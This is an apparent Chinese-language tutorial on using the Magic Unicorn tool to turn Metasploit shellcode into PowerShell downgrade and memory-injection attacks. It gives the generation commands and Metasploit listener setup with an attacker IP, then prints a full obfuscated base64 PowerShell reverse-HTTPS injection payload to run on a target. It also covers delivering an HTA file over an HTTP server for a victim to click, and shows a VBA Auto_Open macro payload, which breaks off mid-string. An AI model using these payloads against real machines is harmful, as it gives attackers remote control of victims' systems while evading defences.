Magic Unicorn工具

Magic Unicorn工具

介绍

Magic Unicorn 是一种用于实施 PowerShell 降级攻击的工具，核心是将各类 Shellcode 转为 PowerShell 代码并实现内存注入，适配 Metasploit、Cobalt Strike 与自定义 Shellcode，可生成 PS1、宏、HTA、DDE 等多种交付格式，用于绕过应用白名单与内存执行

下载

git clone https://github.com/trustedsec/unicorn.git

或者Kali自带

unicorn-magic --help

使用

1. 生成 Meterpreter 反向 HTTPS 的 PowerShell 攻击代码

unicorn-magic windows/meterpreter/reverse_https 192.168.1.133 443

这里会生成两个文件。一个是名为“powershell_attack.txt”的文本文件,可直接复制里面的Powershell命令直接到目标机执行。另一个是“unicorn.rc”，是一个自定义的Metasploit文件，会自动设置所有参数并启动监听器。

如果使用的unicorn.py文件则会保存在同目录下

如果使用Kali的unicorn-magic则会保存在/usr/share/unicorn-magic目录

find / -name "powershell_attack.txt" -mmin -10 2>/dev/null

实在找不到就用这条命令find一下

启动msf加监听

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.133
set lport 443
run

然后复制第二段的actual unicorn payload，第一道是个示例

在目标机执行

powershell /w 1 /C "sv Si -;sv naa ec;sv ftb ((gv Si).value.toString()+(gv naa).value.toString());powershell (gv ftb).value.toString() ('JABlAHkAPQAnACQAegBiAD0AJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAYwBhAGwAbABvAGMAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlACIAKwAiAGwAIgArACIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQAiACsAIgBsACIAKwAiADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABVAE4ATAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAZgBkAD0AIgB9AGUAOAAsAH0AOABmACwAfQAwADAALAB9ADAAMAAsAH0AMAAwACwAfQA2ADAALAB9ADMAMQAsAH0AZAAyACwAfQA2ADQALAB9ADgAYgAsAH0ANQAyACwAfQAzADAALAB9ADgAOQAsAH0AZQA1ACwAfQA4AGIALAB9ADUAMgAsAH0AMABjACwAfQA4AGIALAB9ADUAMgAsAH0AMQA0ACwAfQA4AGIALAB9ADcAMgAsAH0AMgA4ACwAfQAzADEALAB9AGYAZgAsAH0AMABmACwAfQBiADcALAB9ADQAYQAsAH0AMgA2ACwAfQAzADEALAB9AGMAMAAsAH0AYQBjACwAfQAzAGMALAB9ADYAMQAsAH0ANwBjACwAfQAwADIALAB9ADIAYwAsAH0AMgAwACwAfQBjADEALAB9AGMAZgAsAH0AMABkACwAfQAwADEALAB9AGMANwAsAH0ANAA5ACwAfQA3ADUALAB9AGUAZgAsAH0ANQAyACwAfQA1ADcALAB9ADgAYgAsAH0ANQAyACwAfQAxADAALAB9ADgAYgAsAH0ANAAyACwAfQAzAGMALAB9ADAAMQAsAH0AZAAwACwAfQA4AGIALAB9ADQAMAAsAH0ANwA4ACwAfQA4ADUALAB9AGMAMAAsAH0ANwA0ACwAfQA0AGMALAB9ADAAMQAsAH0AZAAwACwAfQA4AGIALAB9ADUAOAAsAH0AMgAwACwAfQAwADEALAB9AGQAMwAsAH0ANQAwACwAfQA4AGIALAB9ADQAOAAsAH0AMQA4ACwAfQA4ADUALAB9AGMAOQAsAH0ANwA0ACwAfQAzAGMALAB9ADQAOQAsAH0AOABiACwAfQAzADQALAB9ADgAYgAsAH0AMwAxACwAfQBmAGYALAB9ADAAMQAsAH0AZAA2ACwAfQAzADEALAB9AGMAMAAsAH0AYQBjACwAfQBjADEALAB9AGMAZgAsAH0AMABkACwAfQAwADEALAB9AGMANwAsAH0AMwA4ACwAfQBlADAALAB9ADcANQAsAH0AZgA0ACwAfQAwADMALAB9ADcAZAAsAH0AZgA4ACwAfQAzAGIALAB9ADcAZAAsAH0AMgA0ACwAfQA3ADUALAB9AGUAMAAsAH0ANQA4ACwAfQA4AGIALAB9ADUAOAAsAH0AMgA0ACwAfQAwADEALAB9AGQAMwAsAH0ANgA2ACwAfQA4AGIALAB9ADAAYwAsAH0ANABiACwAfQA4AGIALAB9ADUAOAAsAH0AMQBjACwAfQAwADEALAB9AGQAMwAsAH0AOABiACwAfQAwADQALAB9ADgAYgAsAH0AMAAxACwAfQBkADAALAB9ADgAOQAsAH0ANAA0ACwAfQAyADQALAB9ADIANAAsAH0ANQBiACwAfQA1AGIALAB9ADYAMQAsAH0ANQA5ACwAfQA1AGEALAB9ADUAMQAsAH0AZgBmACwAfQBlADAALAB9ADUAOAAsAH0ANQBmACwAfQA1AGEALAB9ADgAYgAsAH0AMQAyACwAfQBlADkALAB9ADgAMAAsAH0AZgBmACwAfQBmAGYALAB9AGYAZgAsAH0ANQBkACwAfQA2ADgALAB9ADYAZQAsAH0ANgA1ACwAfQA3ADQALAB9ADAAMAAsAH0ANgA4ACwAfQA3ADcALAB9ADYAOQAsAH0ANgBlACwAfQA2ADkALAB9ADUANAAsAH0ANgA4ACwAfQA0AGMALAB9ADcANwAsAH0AMgA2ACwAfQAwADcALAB9AGYAZgAsAH0AZAA1ACwAfQAzADEALAB9AGQAYgAsAH0ANQAzACwAfQA1ADMALAB9ADUAMwAsAH0ANQAzACwAfQA1ADMALAB9AGUAOAAsAH0ANwA2ACwAfQAwADAALAB9ADAAMAAsAH0AMAAwACwAfQA0AGQALAB9ADYAZgAsAH0ANwBhACwAfQA2ADkALAB9ADYAYwAsAH0ANgBjACwAfQA2ADEALAB9ADIAZgAsAH0AMwA1ACwAfQAyAGUALAB9ADMAMAAsAH0AMgAwACwAfQAyADgALAB9ADQAZAAsAH0ANgAxACwAfQA2ADMALAB9ADYAOQAsAH0ANgBlACwAfQA3ADQALAB9ADYAZgAsAH0ANwAzACwAfQA2ADgALAB9ADMAYgAsAH0AMgAwACwAfQA0ADkALAB9ADYAZQAsAH0ANwA0ACwAfQA2ADUALAB9ADYAYwAsAH0AMgAwACwAfQA0AGQALAB9ADYAMQAsAH0ANgAzACwAfQAyADAALAB9ADQAZgAsAH0ANQAzACwAfQAyADAALAB9ADUAOAAsAH0AMgAwACwAfQAzADEALAB9ADMAMAAsAH0ANQBmACwAfQAzADEALAB9ADMANQAsAH0ANQBmACwAfQAzADcALAB9ADIAOQAsAH0AMgAwACwAfQA0ADEALAB9ADcAMAAsAH0ANwAwACwAfQA2AGMALAB9ADYANQAsAH0ANQA3ACwAfQA2ADUALAB9ADYAMgAsAH0ANABiACwAfQA2ADkALAB9ADcANAAsAH0AMgBmACwAfQAzADUALAB9ADMAMwAsAH0AMwA3ACwAfQAyAGUALAB9ADMAMwAsAH0AMwA2ACwAfQAyADAALAB9ADIAOAAsAH0ANABiACwAfQA0ADgALAB9ADUANAAsAH0ANABkACwAfQA0AGMALAB9ADIAYwAsAH0AMgAwACwAfQA2AGMALAB9ADYAOQAsAH0ANgBiACwAfQA2ADUALAB9ADIAMAAsAH0ANAA3ACwAfQA2ADUALAB9ADYAMwAsAH0ANgBiACwAfQA2AGYALAB9ADIAOQAsAH0AMgAwACwAfQA0ADMALAB9ADYAOAAsAH0ANwAyACwAfQA2AGYALAB9ADYAZAAsAH0ANgA1ACwAfQAyAGYALAB9ADMAMQAsAH0AMwAzACwAfQAzADEALAB9ADIAZQAsAH0AMwAwACwAfQAyAGUALAB9ADMAMAAsAH0AMgBlACwAfQAzADAALAB9ADIAMAAsAH0ANQAzACwAfQA2ADEALAB9ADYANgAsAH0ANgAxACwAfQA3ADIALAB9ADYAOQAsAH0AMgBmACwAfQAzADUALAB9ADMAMwAsAH0AMwA3ACwAfQAyAGUALAB9ADMAMwAsAH0AMwA2ACwAfQAwADAALAB9ADYAOAAsAH0AMwBhACwAfQA1ADYALAB9ADcAOQAsAH0AYQA3ACwAfQBmAGYALAB9AGQANQAsAH0ANQAzACwAfQA1ADMALAB9ADYAYQAsAH0AMAAzACwAfQA1ADMALAB9ADUAMwAsAH0ANgA4ACwAfQBiAGIALAB9ADAAMQAsAH0AMAAwACwAfQAwADAALAB9AGUAOAAsAH0ANAAwACwAfQAwADEALAB9ADAAMAAsAH0AMAAwACwAfQAyAGYALAB9ADYAMgAsAH0AMwA4ACwAfQA1ADUALAB9ADcAM'+'wAsAH0ANgAyACwAfQA3ADMALAB9ADcAYQAsAH0ANgAxACwAfQA0ADYALAB9ADcAOQAsAH0ANgBlACwAfQA2AGYALAB9ADUAMAAsAH0AMgBkACwAfQA2AGIALAB9ADIAZAAsAH0ANgA3ACwAfQA2ADIALAB9ADYAZQAsAH0ANgA4ACwAfQA1ADEALAB9ADQAMQAsAH0ANgAxACwAfQA3ADYALAB9ADMANgAsAH0ANgBkACwAfQA2AGUALAB9ADUAOAAsAH0ANgBmACwAfQA0ADUALAB9ADMANAAsAH0ANQAzACwAfQA1ADkALAB9ADYAYwAsAH0ANQA5ACwAfQA1ADAALAB9ADUAYQAsAH0AMwA1ACwAfQA0AGUALAB9ADcAMQAsAH0ANgAyACwAfQA1AGEALAB9ADMAMwAsAH0ANgBmACwAfQA2AGMALAB9ADUAYQAsAH0ANgA5ACwAfQAzADgALAB9ADUAOQAsAH0AMwA1ACwAfQA2ADEALAB9ADQANAAsAH0ANgA1ACwAfQA2ADEALAB9ADQAYQAsAH0ANwA5ACwAfQA0ADYALAB9ADYAMgAsAH0ANwA3ACwAfQA3AGEALAB9ADQAZQAsAH0ANgAyACwAfQAzADAALAB9ADcAYQAsAH0ANgBhACwAfQA3ADkALAB9ADUANQAsAH0ANQAzACwAfQA3AGEALAB9ADQAMQAsAH0ANABkACwAfQA1ADAALAB9ADcAMwAsAH0ANABkACwAfQA0AGYALAB9ADUANQAsAH0ANgAzACwAfQA0AGUALAB9ADcAYQAsAH0AMwA3ACwAfQA2AGUALAB9ADUAMwAsAH0ANgA1ACwAfQA2ADgALAB9ADYAOQAsAH0ANgA3ACwAfQA2ADcALAB9ADUAOQAsAH0ANwA5ACwAfQA2ADgALAB9ADMANQAsAH0ANwA1ACwAfQA1ADQALAB9ADcANQAsAH0AMgBkACwAfQA1ADYALAB9ADcAMgAsAH0AMwA4ACwAfQAyAGQALAB9ADcANwAsAH0ANABjACwAfQA3ADMALAB9ADYANgAsAH0ANABkACwAfQA2ADcALAB9ADQANAAsAH0ANgBmACwAfQA3ADkALAB9ADYANQAsAH0ANwA2ACwAfQA2ADQALAB9ADYANAAsAH0AMgBkACwAfQA2AGIALAB9ADQAYgAsAH0ANwA2ACwAfQAzADYALAB9ADYAMQAsAH0ANgBkACwAfQA3ADgALAB9ADUAOQAsAH0AMgBkACwAfQA2AGEALAB9ADcAMAAsAH0ANgBlACwAfQA1ADcALAB9ADcAOQAsAH0ANAA4ACwAfQAzADAALAB9ADcAOQAsAH0ANgAzACwAfQA0AGEALAB9ADMANwAsAH0ANABlACwAfQA1ADAALAB9ADQAOQAsAH0ANwA2ACwAfQA1ADUALAB9ADQAZAAsAH0ANABkACwAfQA1ADQALAB9ADMAMwAsAH0ANgAzACwAfQA0ADYALAB9ADYAYwAsAH0ANgA1ACwAfQA1AGYALAB9ADcAOAAsAH0AMwAyACwAfQA3ADcALAB9ADUAOQAsAH0ANgA4ACwAfQA3ADMALAB9ADUANAAsAH0ANgA3ACwAfQA1ADEALAB9ADYAMQAsAH0ANQAxACwAfQA3ADIALAB9ADUANwAsAH0ANQA4ACwAfQA3ADYALAB9ADcAOQAsAH0ANABjACwAfQA1AGEALAB9ADYAOAAsAH0ANQAxACwAfQA1ADgALAB9ADcANQAsAH0AMwAzACwAfQAzADAALAB9ADcAMQAsAH0AMwA4ACwAfQA2ADQALAB9ADcANgAsAH0AMAAwACwAfQA1ADAALAB9ADYAOAAsAH0ANQA3ACwAfQA4ADkALAB9ADkAZgAsAH0AYwA2ACwAfQBmAGYALAB9AGQANQAsAH0AOAA5ACwAfQBjADYALAB9ADUAMwAsAH0ANgA4ACwAfQAwADAALAB9ADMAMgAsAH0AZQA4ACwAfQA4ADQALAB9ADUAMwAsAH0ANQAzACwAfQA1ADMALAB9ADUANwAsAH0ANQAzACwAfQA1ADYALAB9ADYAOAAsAH0AZQBiACwAfQA1ADUALAB9ADIAZQAsAH0AMwBiACwAfQBmAGYALAB9AGQANQAsAH0AOQA2ACwAfQA2AGEALAB9ADAAYQAsAH0ANQBmACwAfQA2ADgALAB9ADgAMAAsAH0AMwAzACwAfQAwADAALAB9ADAAMAAsAH0AOAA5ACwAfQBlADAALAB9ADYAYQAsAH0AMAA0ACwAfQA1ADAALAB9ADYAYQAsAH0AMQBmACwAfQA1ADYALAB9ADYAOAAsAH0ANwA1ACwAfQA0ADYALAB9ADkAZQAsAH0AOAA2ACwAfQBmAGYALAB9AGQANQAsAH0ANQAzACwAfQA1ADMALAB9ADUAMwAsAH0ANQAzACwAfQA1ADYALAB9ADYAOAAsAH0AMgBkACwAfQAwADYALAB9ADEAOAAsAH0ANwBiACwAfQBmAGYALAB9AGQANQAsAH0AOAA1ACwAfQBjADAALAB9ADcANQAsAH0AMQA0ACwAfQA2ADgALAB9ADgAOAAsAH0AMQAzACwAfQAwADAALAB9ADAAMAAsAH0ANgA4ACwAfQA0ADQALAB9AGYAMAAsAH0AMwA1ACwAfQBlADAALAB9AGYAZgAsAH0AZAA1ACwAfQA0AGYALAB9ADcANQAsAH0AYwBkACwAfQBlADgALAB9ADQAYQAsAH0AMAAwACwAfQAwADAALAB9ADAAMAAsAH0ANgBhACwAfQA0ADAALAB9ADYAOAAsAH0AMAAwACwAfQAxADAALAB9ADAAMAAsAH0AMAAwACwAfQA2ADgALAB9ADAAMAAsAH0AMAAwACwAfQA0ADAALAB9ADAAMAAsAH0ANQAzACwAfQA2ADgALAB9ADUAOAAsAH0AYQA0ACwAfQA1ADMALAB9AGUANQAsAH0AZgBmACwAfQBkADUALAB9ADkAMwAsAH0ANQAzACwAfQA1ADMALAB9ADgAOQAsAH0AZQA3ACwAfQA1ADcALAB9ADYAOAAsAH0AMAAwACwAfQAyADAALAB9ADAAMAAsAH0AMAAwACwAfQA1ADMALAB9ADUANgAsAH0ANgA4ACwAfQAxADIALAB9ADkANgAsAH0AOAA5ACwAfQBlADIALAB9AGYAZgAsAH0AZAA1ACwAfQA4ADUALAB9AGMAMAAsAH0ANwA0ACwAfQBjAGYALAB9ADgAYgAsAH0AMAA3ACwAfQAwADEALAB9AGMAMwAsAH0AOAA1ACwAfQBjADAALAB9ADcANQAsAH0AZQA1ACwAfQA1ADgALAB9AGMAMwAsAH0ANQBmACwAfQBlADgALAB9ADYAYgAsAH0AZgBmACwAfQBmAGYALAB9AGYAZgAsAH0AMwAxACwAfQAzADkALAB9ADMAMgAsAH0AMgBlACwAfQAzADEALAB9ADMANgAsAH0AMwA4ACwAfQAyAGUALAB9ADMAMQAsAH0AMgBlACwAfQAzADEALAB9ADMAMwAsAH0AMwAzACwAfQAwADAALAB9AGIAYgAsAH0AZgAwACwAfQBiADUALAB9AGEAMgAsAH0ANQA2ACwAfQA2AGEALAB9ADAAMAAsAH0ANQAzACwAfQBmAGYALAB9AGQANQAiADsAJAB6AE8APQBBAGQAZAAtAFQAeQBwAGUAIAAtAHAAYQBzAHMAIAAtAG0AIAAkAHoAYgAgAC0ATgBhAG0AZQAgACIAeABLACIAIAAtAG4AYQBtAGUAcwAgAEQAZQBWADsAJAB6AE8APQAkAHoATwAuAHIAZQBwAGwAYQBjAGUAKAAiAEQAZQBWACIALAAgACIAVwBpAG4AMwAyAEYAdQBuAGMAdAAiACsAIgBpACIAKwAiAG8AbgBzACIAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGYAZAAgAD0AIAAkAGYAZAAuAHIAZQBwAGwAYQBjAGUAKAAiAH0AIgAsACIAbgBxAFQAeAAiACkALgByAGUAcABsAGEAYwBlACgAIgBuAHEAVAAiACwAIAAiADAAIgApAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACQAeQBVAD0AMAB4ADEAMAAwADEAOwBpAGYAIAAoACQAZgBkAC4ATAAgAC0AZwB0ACAAMAB4ADEAMAAwADEAKQB7ACQAeQBVAD0AJABmAGQALgBMAH0AOwAkAFUARwA9ACQAegBPADoAOgBjAGEAbABsAG8AYwAoADAAeAAxADAAMAAxACwAIAAxACkAOwBbAFUASQBuAHQANgA0AF0AJABVAE4ATAAgAD0AIAAwADsAZgBvAHIAKAAkAFQATAA9ADAAOwAkAFQATAAgAC0AbABlACgAJABmAGQALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAVABMACsAKwApAHsAJAB6AE8AOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABVAEcALgBUAG8ASQBuAHQAMwAyACgAKQArACQAVABMACkALAAgACQAZgBkAFsAJABUAEwAXQAsACAAMQApAH0AOwAkAHoATwA6ADoAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgAJABVAEcALAAgADAAeAAxADAAMAAxACwAIAAwAHgANAAwACwAIABbAFIAZQBmAF0AJABVAE4ATAApADsAJABaAGwASAA9AFsAaQBuAHQAXQAwAHgAMAAwADsAJAB6AE8AOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAWwBpAG4AdABdADAALAAkAFoAbABIACwAJABVAEcALAAwACwAMAAsADAAKQA7ACcAOwAkAEUATAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUw'+'B0AHIAaQBuAGcAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAZQB5ACkAKQA7ACQAcgBVAD0AIgBwAG8AdwBlAHIAcwBoAGUAbABsACIAOwAkAEwASwA9ACIAVwBpAG4AZABvAHcAcwAiADsAJABRAG0AZwBDACAAPQAgACIAQwA6AFwAJABMAEsAXABoAFcAagBtAFYASwBtAEUAXAAkAEwASwAkAHIAVQBcAHYAMQAuADAAXAAkAHIAVQAiADsAJABRAG0AZwBDACAAPQAgACQAUQBtAGcAQwAuAHIAZQBwAGwAYQBjAGUAKAAiAGgAVwBqAG0AIgAsACAAIgBzAHkAcwAiACkAOwAkAFEAbQBnAEMAIAA9ACAAJABRAG0AZwBDAC4AcgBlAHAAbABhAGMAZQAoACIAVgBLAG0ARQAiACwAIAAiAHcAbwB3ADYANAAiACkAOwAkAEwAbQBVAG0AIAA9ACAAJwBUAHIAIgArACIAdQAiACsAIgBlACcAOwBpAGYAKABbAGUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBJAHMANgA0AEIAaQB0AE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACAALQBlAHEAIAAnACQATABtAFUAbQAnACkAewAkAHIAVQA9ACAAJABRAG0AZwBDAH0AOwAkAHMAQgA9ACIAIAAkAHIAVQAgAEoAWABoACAAJABFAEwAIgA7ACQAcwBCAD0AJABzAEIALgByAGUAcABsAGEAYwBlACgAIgBKAFgAaAAiACwAIAAiAC0AbgBvAGUAeABpAHQAIAAtAGUAIgApADsAaQBlAHgAIAAkAHMAQgA=')" 

获得会话

2. hta攻击

unicorn-magic windows/meterpreter/reverse_https 192.168.1.133 4455 hta

msf监听

cd /usr/share/unicorn-magic/hta_attack 

用python起一个http服务

python -m http.server 80

然后在目标机中输入攻击者ip或者攻击ip绑定的域名，并等待受害者点击“launcher.hta”文件

但是目前在浏览器出下载都会触发安全告警

3. 宏攻击

unicorn-magic windows/meterpreter/reverse_https 192.168.1.133 443 macro

cat /usr/share/unicorn-magic/powershell_attack.txt //查看内容

Sub Auto_Open()
Dim xqFdRuhg
xqFdRuhg =  " /w 1 /C ""sv Duv -;sv wi ec;sv HDB ((gv "
xqFdRuhg = xqFdRuhg + "Duv).value.toString()+(gv wi).value.toString());po"
xqFdRuhg = xqFdRuhg + "wershell (gv HDB).value.toString() ('JAB0AGcAPQAnA"
xqFdRuhg = xqFdRuhg + "CQAYQBXAD0AJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACI"
xqFdRuhg = xqFdRuhg + "AbQBzAHYAYwByAHQALgAiACsAIgBkACIAKwAiAGwAbAAiACkAK"
xqFdRuhg = xqFdRuhg + "QBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdAB"
xqFdRuhg = xqFdRuhg + "lAHIAbgAgAEkAbgB0AFAAdAByACAAYwBhAGwAbABvAGMAKAB1A"
xqFdRuhg = xqFdRuhg + "GkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0"
xqFdRuhg = xqFdRuhg + "AbwB1AG4AdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAa"
xqFdRuhg = xqFdRuhg + "wBlAHIAbgBlAGwAMwAyAC4AZABsACIAKwAiAGwAIgArACIAIgA"
xqFdRuhg = xqFdRuhg + "pAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0A"
xqFdRuhg = xqFdRuhg + "GUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGg"
xqFdRuhg = xqFdRuhg + "AcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAY"
xqFdRuhg = xqFdRuhg + "QBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIAB"
xqFdRuhg = xqFdRuhg + "kAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByA"
xqFdRuhg = xqFdRuhg + "CAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4"
xqFdRuhg = xqFdRuhg + "AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAd"
xqFdRuhg = xqFdRuhg + "QBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwB"
xqFdRuhg = xqFdRuhg + "zACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJA"
xqFdRuhg = xqFdRuhg + "GQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4"
xqFdRuhg = xqFdRuhg + "AZQBsADMAMgAuAGQAbAAiACsAIgBsACIAKwAiACIAKQBdAHAAd"
xqFdRuhg = xqFdRuhg + "QBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgA"
xqFdRuhg = xqFdRuhg + "gAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0A"
xqFdRuhg = xqFdRuhg + "GUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEE"
xqFdRuhg = xqFdRuhg + "AZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZ"
xqFdRuhg = xqFdRuhg + "QAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB"
xqFdRuhg = xqFdRuhg + "0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABoAFAAUQApADsAWwBEA"
xqFdRuhg = xqFdRuhg + "GwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgAiACs"
xqFdRuhg = xqFdRuhg + "AIgBkACIAKwAiAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAd"
xqFdRuhg = xqFdRuhg + "ABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgA"
xqFdRuhg = xqFdRuhg + "gAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0A"
xqFdRuhg = xqFdRuhg + "CwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8"
xqFdRuhg = xqFdRuhg + "AdQBuAHQAKQA7ACcAJwA7ACQAYwB3AD0AIgB9AGUAOAAsAH0AO"
xqFdRuhg = xqFdRuhg + "ABmACwAfQAwADAALAB9ADAAMAAsAH0AMAAwACwAfQA2ADAALAB"
xqFdRuhg = xqFdRuhg + "9ADgAOQAsAH0AZQA1ACwAfQAzADEALAB9AGQAMgAsAH0ANgA0A"
xqFdRuhg = xqFdRuhg + "CwAfQA4AGIALAB9ADUAMgAsAH0AMwAwACwAfQA4AGIALAB9ADU"
xqFdRuhg = xqFdRuhg + "AMgAsAH0AMABjACwAfQA4AGIALAB9ADUAMgAsAH0AMQA0ACwAf"
xqFdRuhg = xqFdRuhg + "QA4AGIALAB9ADcAMgAsAH0AMgA4ACwAfQAwAGYALAB9AGIANwA"
xqFdRuhg = xqFdRuhg + "sAH0ANABhACwAfQAyADYALAB9ADMAMQAsAH0AZgBmACwAfQAzA"
xqFdRuhg = xqFdRuhg + "DEALAB9AGMAMAAsAH0AYQBjACwAfQAzAGMALAB9ADYAMQAsAH0"
xqFdRuhg = xqFdRuhg + "ANwBjACwAfQAwADIALAB9ADIAYwAsAH0AMgAwACwAfQBjADEAL"
xqFdRuhg = xqFdRuhg + "AB9AGMAZgAsAH0AMABkACwAfQAwADEALAB9AGMANwAsAH0ANAA"
xqFdRuhg = xqFdRuhg + "5ACwAfQA3ADUALAB9AGUAZgAsAH0ANQAyACwAfQA1ADcALAB9A"
xqFdRuhg = xqFdRuhg + "DgAYgAsAH0ANQAyACwAfQAxADAALAB9ADgAYgAsAH0ANAAyACw"
xqFdRuhg = xqFdRuhg + "AfQAzAGMALAB9ADAAMQAsAH0AZAAwACwAfQA4AGIALAB9ADQAM"
xqFdRuhg = xqFdRuhg + "AAsAH0ANwA4ACwAfQA4ADUALAB9AGMAMAAsAH0ANwA0ACwAfQA"
xqFdRuhg = xqFdRuhg + "0AGMALAB9ADAAMQAsAH0AZAAwACwAfQA4AGIALAB9ADUAOAAsA"
xqFdRuhg = xqFdRuhg + "H0AMgAwACwAfQAwADEALAB9AGQAMwAsAH0ANQAwACwAfQA4AGI"
xqFdRuhg = xqFdRuhg + "ALAB9ADQAOAAsAH0AMQA4ACwAfQA4ADUALAB9AGMAOQAsAH0AN"
xqFdRuhg = xqFdRuhg + "wA0ACwAfQAzAGMALAB9ADMAMQAsAH0AZgBmACwAfQA0ADkALAB"
xqFdRuhg = xqFdRuhg + "9ADgAYgAsAH0AMwA0ACwAfQA4AGIALAB9ADAAMQAsAH0AZAA2A"
xqFdRuhg = xqFdRuhg + "CwAfQAzADEALAB9AGMAMAAsAH0AYwAxACwAfQBjAGYALAB9ADA"
xqFdRuhg = xqFdRuhg + "AZAAsAH0AYQBjACwAfQAwADEALAB9AGMANwAsAH0AMwA4ACwAf"
xqFdRuhg = xqFdRuhg + "QBlADAALAB9ADcANQAsAH0AZgA0ACwAfQAwADMALAB9ADcAZAA"
xqFdRuhg = xqFdRuhg + "sAH0AZgA4ACwAfQAzAGIALAB9ADcAZAAsAH0AMgA0ACwAfQA3A"
xqFdRuhg = xqFdRuhg + "DUALAB9AGUAMAAsAH0ANQA4ACwAfQA4AGIALAB9ADUAOAAsAH0"
xqFdRuhg = xqFdRuhg + "AMgA0ACwAfQAwADEALAB9AGQAMwAsAH0ANgA2ACwAfQA4AGIAL"
xqFdRuhg = xqFdRuhg + "AB9ADAAYwAsAH0ANABiACwAfQA4AGIALAB9ADUAOAAsAH0AMQB"
xqFdRuhg = xqFdRuhg + "jACwAfQAwADEALAB9AGQAMwAsAH0AOABiACwAfQAwADQALAB9A"
